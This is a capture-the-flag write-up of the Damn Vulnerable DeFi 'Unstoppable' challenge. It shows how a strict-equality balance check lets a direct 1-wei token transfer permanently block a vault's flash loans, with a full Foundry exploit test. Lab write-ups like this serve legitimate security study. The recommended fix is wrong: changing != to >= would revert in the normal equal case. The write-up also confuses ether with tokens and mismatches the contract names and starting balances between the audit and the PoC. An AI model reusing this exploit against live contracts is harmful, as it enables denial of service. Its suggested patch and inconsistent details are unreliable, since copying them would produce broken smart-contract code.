Unstoppable

Description

There's a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.

To pass the challenge, make the vault stop offering flash loans.

You start with 10 DVT tokens in balance.

TL;DR

There is a strict check in the flashLoan() function:

if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();

Sending 1 wei to the contract will break this check and cause DoS.

Code Audit

Our objective is to DoS the flash loan functionality, so we should be looking for things like require and revert.

In UnstoppableVault.flashLoan():

uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

If we can make convertToShares(totalSupply) and balanceBefore out of sync, then the flashLoan() call will revert. This can be a DoS attack. But how?

totalAssets():

/**
 * @inheritdoc ERC4626
 */
function totalAssets() public view override returns (uint256) {
    assembly { // better safe than sorry
        if eq(sload(0), 2) {
            mstore(0x00, 0xed3ba6a6)
            revert(0x1c, 0x04)
        }
    }
    return asset.balanceOf(address(this));
}

The assembly block tests if the storage slot 0 equals 2, and then moves something like a function selector into memory offset 0 and reverts. This looks like a defense menchanism so we can ignore it. In the end this function returns balanceOf(address(this)).

In flashLoan() we are actually testing if totalSupply is the same as balanceOf(address(this)), but recall that there are two ways of transferring ethers into this contract:

  1. Through the vault.deposit() function -> this is the intended way

  2. Call token.transfer() directly -> this is unintended and will break the if statement.

Here is how Secureum describes this bug:

Dangerous strict equalities: Use of strict equalities with tokens/Ether can accidentally/maliciously cause unexpected behavior. Consider using >= or <= instead of == for such variables depending on the contract logic. (see here)

To fix the code, we can just change != to >=:

uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) >= balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

Building PoC

Simply transfer 1 wei to the lender pool:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {UnstoppableLender} from "../../../src/Contracts/unstoppable/UnstoppableLender.sol";
import {ReceiverUnstoppable} from "../../../src/Contracts/unstoppable/ReceiverUnstoppable.sol";

contract Unstoppable is Test {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
    uint256 internal constant INITIAL_ATTACKER_TOKEN_BALANCE = 100e18;

    Utilities internal utils;
    UnstoppableLender internal unstoppableLender;
    ReceiverUnstoppable internal receiverUnstoppable;
    DamnValuableToken internal dvt;
    address payable internal attacker;
    address payable internal someUser;

    function setUp() public {
        /**
         * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
         */

        utils = new Utilities();
        address payable[] memory users = utils.createUsers(2);
        attacker = users[0];
        someUser = users[1];
        vm.label(someUser, "User");
        vm.label(attacker, "Attacker");

        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        unstoppableLender = new UnstoppableLender(address(dvt));
        vm.label(address(unstoppableLender), "Unstoppable Lender");

        dvt.approve(address(unstoppableLender), TOKENS_IN_POOL);
        unstoppableLender.depositTokens(TOKENS_IN_POOL);

        dvt.transfer(attacker, INITIAL_ATTACKER_TOKEN_BALANCE);

        assertEq(dvt.balanceOf(address(unstoppableLender)), TOKENS_IN_POOL);
        assertEq(dvt.balanceOf(attacker), INITIAL_ATTACKER_TOKEN_BALANCE);

        // Show it's possible for someUser to take out a flash loan
        vm.startPrank(someUser);
        receiverUnstoppable = new ReceiverUnstoppable(
            address(unstoppableLender)
        );
        vm.label(address(receiverUnstoppable), "Receiver Unstoppable");
        receiverUnstoppable.executeFlashLoan(10);
        vm.stopPrank();
        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.prank(attacker);
        dvt.transfer(address(unstoppableLender), 1);
        /**
         * EXPLOIT END *
         */
        vm.expectRevert(UnstoppableLender.AssertionViolated.selector);
        validation();
        console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
    }

    function validation() internal {
        // It is no longer possible to execute flash loans
        vm.startPrank(someUser);
        receiverUnstoppable.executeFlashLoan(10);
        vm.stopPrank();
    }
}

Last updated